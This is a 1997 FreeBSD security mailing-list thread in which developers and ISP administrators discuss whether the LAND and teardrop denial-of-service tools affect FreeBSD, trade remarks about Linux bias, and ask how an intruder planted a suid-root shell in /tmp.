(8.8.7/8.8.7) with ESMTP id HAA27624; Tue, 30 Dec 1997 07:02:21 -0800 (PST) (envelope-from geniusj@bsd.dialup.bestweb.net) Received: (from geniusj@localhost) by bsd.dialup.bestweb.net (8.8.8/8.8.3) id FAA15028; Tue, 30 Dec 1997 05:02:29 -0500 (EST) Date: Tue, 30 Dec 1997 05:02:29 -0500 (EST) From: Wut!? To: "Jordan K. Hubbard" cc: "UC Computer / Transbay.Net" , bugs@freebsd.org, isp@freebsd.org, security@freebsd.org Subject: Re: Two sources for system-cracking tools In-Reply-To: <16260.883457102@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Yeah, Rootshell.com isn't very good with his information, and there is a very simple explanation why .. (He runs linux!).. On Mon, 29 Dec 1997, Jordan K. Hubbard wrote: > > Here are two files concerning breaking into or trashing systems. One of these > , > > "land.c", says all versions of FreeBSD are susceptible to what it does. The > > other (teardrop) may/not also work (w/w/o firewall), but should be of interes > > FreeBSD has been immune to LAND for some time (see the Newsflash page > at http://www.freebsd.org) and was never vulnerable to teardrop at all - > that was a purely Linux / Windows attack. > > Jordan > From owner-freebsd-security Tue Dec 30 08:44:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA05302 for security-outgoing; Tue, 30 Dec 1997 08:44:45 -0800 (PST) (envelope-from owner-freebsd-security) Received: from seidata.com (sv1.seidata.com [206.160.242.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA05297; Tue, 30 Dec 1997 08:44:40 -0800 (PST) (envelope-from mike@seidata.com) Received: from localhost (mike@localhost) by seidata.com (8.8.8/8.8.5) with SMTP id LAA12305; Tue, 30 Dec 1997 11:44:23 -0500 (EST) Date: Tue, 30 Dec 1997 11:44:23 -0500 (EST) From: Mike To: Wut!? cc: "Jordan K. Hubbard" , "UC Computer / Transbay.Net" , bugs@freebsd.org, isp@freebsd.org, security@freebsd.org Subject: Re: Two sources for system-cracking tools In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 30 Dec 1997, Wut!? wrote: > Yeah, Rootshell.com isn't very good with his information, and there is a > very simple explanation why .. (He runs linux!).. I'd like to think that one can think logically/analytically and present accurate information, regardless of what OS s/he uses. Excuse the interjection, but I've always abhored bias - saying "He runs linux" is an explanation for poor logic is like saying little black boys should sit on the back of the bus, IMO. Oh, and yes, I do use Linux... and FreeBSD, and SunOS, and Solaris, and a few others. I've always found that using multiple OSes helps me to expand in multiple dimensions... Some will never listen to this theory, but they can remain stuck in their one-dimensional world if they so desire. --- Mike Hoskins SEI Data Network Services, Inc. mike@seidata.com http://www.seidata.com From owner-freebsd-security Tue Dec 30 10:28:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA13647 for security-outgoing; Tue, 30 Dec 1997 10:28:58 -0800 (PST) (envelope-from owner-freebsd-security) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.26]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA13639; Tue, 30 Dec 1997 10:28:49 -0800 (PST) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost.cybercity.dk [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.7) with ESMTP id TAA23131; Tue, 30 Dec 1997 19:24:54 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: Mike cc: Wut!? , "Jordan K. Hubbard" , "UC Computer / Transbay.Net" , bugs@FreeBSD.ORG, isp@FreeBSD.ORG, security@FreeBSD.ORG Subject: Re: Two sources for system-cracking tools In-reply-to: Your message of "Tue, 30 Dec 1997 11:44:23 EST." Date: Tue, 30 Dec 1997 19:24:54 +0100 Message-ID: <23129.883506294@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In message , Mike writes: > >> Yeah, Rootshell.com isn't very good with his information, and there is a >> very simple explanation why .. (He runs linux!).. > >I'd like to think that one can think logically/analytically and present >accurate information, regardless of what OS s/he uses. Mike, you must be the only person who didn't see straight through the original email as a "Troll, Class 1A". He might as well have added ``Just see how buggy FreeBSD is HA HA HA'' at the end of it. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." From owner-freebsd-security Tue Dec 30 12:47:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA24193 for security-outgoing; Tue, 30 Dec 1997 12:47:27 -0800 (PST) (envelope-from owner-freebsd-security) Received: from seidata.com (sv1.seidata.com [206.160.242.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA24163; Tue, 30 Dec 1997 12:47:10 -0800 (PST) (envelope-from mike@seidata.com) Received: from localhost (mike@localhost) by seidata.com (8.8.8/8.8.5) with SMTP id PAA13662; Tue, 30 Dec 1997 15:45:37 -0500 (EST) Date: Tue, 30 Dec 1997 15:45:37 -0500 (EST) From: Mike To: Poul-Henning Kamp cc: Wut!? , "Jordan K. Hubbard" , "UC Computer / Transbay.Net" , bugs@FreeBSD.ORG, isp@FreeBSD.ORG, security@FreeBSD.ORG Subject: Re: Two sources for system-cracking tools In-Reply-To: <23129.883506294@critter.freebsd.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 30 Dec 1997, Poul-Henning Kamp wrote: > Mike, you must be the only person who didn't see straight through > the original email as a "Troll, Class 1A". He might as well have > added ``Just see how buggy FreeBSD is HA HA HA'' at the end of it. I don't see through a lot of things... I wish people would just say what they mean... If you have an opinion, either state it or loose it. I get sick of having to interpret everything... Coming from a co-admin of a 99% FreeBSD ISP, FreeBSD is anything but "buggy", as I'm sure you know. ;) Thanks for the hard work that you all put into it. --- Mike Hoskins SEI Data Network Services, Inc. mike@seidata.com http://www.seidata.com From owner-freebsd-security Tue Dec 30 16:19:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA10847 for security-outgoing; Tue, 30 Dec 1997 16:19:35 -0800 (PST) (envelope-from owner-freebsd-security) Received: from transbay.net (synergy.transbay.net [207.105.6.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA10837; Tue, 30 Dec 1997 16:19:30 -0800 (PST) (envelope-from ecsd@transbay.net) Received: from synergy.transbay.net (synergy.transbay.net [207.105.6.2]) by transbay.net (8.8.5/8.8.5) with SMTP id QAA23838; Tue, 30 Dec 1997 16:19:47 -0800 (PST) Message-ID: <34A98FA3.42877E5C@transbay.net> Date: Tue, 30 Dec 1997 16:19:47 -0800 From: "Eric C. S. Dynamic" Organization: TransBay.Net X-Mailer: Mozilla 3.01Gold (X11; I; FreeBSD 2.2.1-RELEASE i386) MIME-Version: 1.0 To: isp@freebsd.org, security@freebsd.org CC: "Wut!?" Subject: Re: Two sources for system-cracking tools References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Mike wrote: > On Tue, 30 Dec 1997, Wut!? wrote: > > Yeah, Rootshell.com isn't very good with his information, and there is a > > very simple explanation why .. (He runs linux!).. > > [...]- saying "He runs linux" is an > explanation for poor logic is like saying [...] He (rootshell) got the data from somewhere, maybe it's wrong. No point in being bigoted against Linux. When I justify choosing FreeBSD over Linux I just tell people it's real BSD and that it has a reputation for being more robust, that we use it and there's only one kind. And I don't care to learn about another sorta-similar, sort-different system unless I have to (no time.) Meanwhile, I reported those two sources for hacker-stuff out as a notice (what land doc said of itself) and a question (does teardrop work if you're not using the firewall.) Someone hacked our system by creating an executable suid-root copy of /bin/sh in /tmp, and this is the second time someone's been able to do that, this time I discovered it about 12 minutes after the file was created, but I'd like to know "how they do that" and I'd like to plug the hole. The user I axed had a dozen-plus hack'em crack'em thingys lying around, for experimentation. Maybe one of them works, but which one? A lot of them try to manipulate the stack at a machine level, apparently. If the suid-root /bin/sh in /tmp rings a bell, let me know a countermeasure. Thanks. From owner-freebsd-security Tue Dec 30 17:16:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA15119 for security-outgoing; Tue, 30 Dec 1997 17:16:42 -0800 (PST) (envelope-from owner-freebsd-security) Received: from atlas.iexpress.net.au (atlas.iexpress.net.au [203.61.175.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA15094; Tue, 30 Dec 1997 17:16:13 -0800 (PST) (envelope-from mikey@atlas.iexpress.net.au) Received: from localhost (mikey@localhost) by atlas.iexpress.net.au (8.8.5/8.8.5) with SMTP id JAA14600; Wed, 31 Dec 1997 09:12:44 +0800 Date: Wed, 31 Dec 1997 09:12:43 +0800 (WST) From: Michael Slater To: "Eric C. S. Dynamic" cc: isp@FreeBSD.ORG, security@FreeBSD.ORG, Wut!? Subject: Re: Two sources for system-cracking tools In-Reply-To: <34A98FA3.42877E5C@transbay.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk That actually happend to me once, but it was a while ago when i was using the buggy version of wu.ftpd . I fixed that particular bug a while ago. Michael On Tue, 30 Dec 1997, Eric C. S. Dynamic wrote: > Mike wrote: > > On Tue, 30 Dec 1997, Wut!? wrote: > > > Yeah, Rootshell.com isn't very good with his information, and there is a > > > very simple explanation why .. (He runs linux!).. > > > > [...]- saying "He runs linux" is an > > explanation for poor logic is like saying [...] > > He (rootshell) got the data from somewhere, maybe it's wrong. > No point in being bigoted against Linux. When I justify choosing > FreeBSD over Linux I just tell people it's real BSD and that it > has a reputation for being more robust, that we use it and there's > only one kind. And I don't care to learn about another sorta-similar, > sort-different system unless I have to (no time.) > > Meanwhile, I reported those two sources for hacker-stuff out as a > notice (what land doc said of itself) and a question (does teardrop > work if you're not using the firewall.) Someone hacked our system > by creating an executable suid-root copy of /bin/sh in /tmp, > and this is the second time someone's been able to do that, this > time I discovered it about 12 minutes after the file was created, > but I'd like to know "how they do that" and I'd like to plug the > hole. The user I axed had a dozen-plus hack'em crack'em thingys > lying around, for experimentation. Maybe one of them works, but > which one? A lot of them try to manipulate the stack at a machine > level, apparently. > > If the suid-root /bin/sh in /tmp rings a bell, let me know a > countermeasure. Thanks. >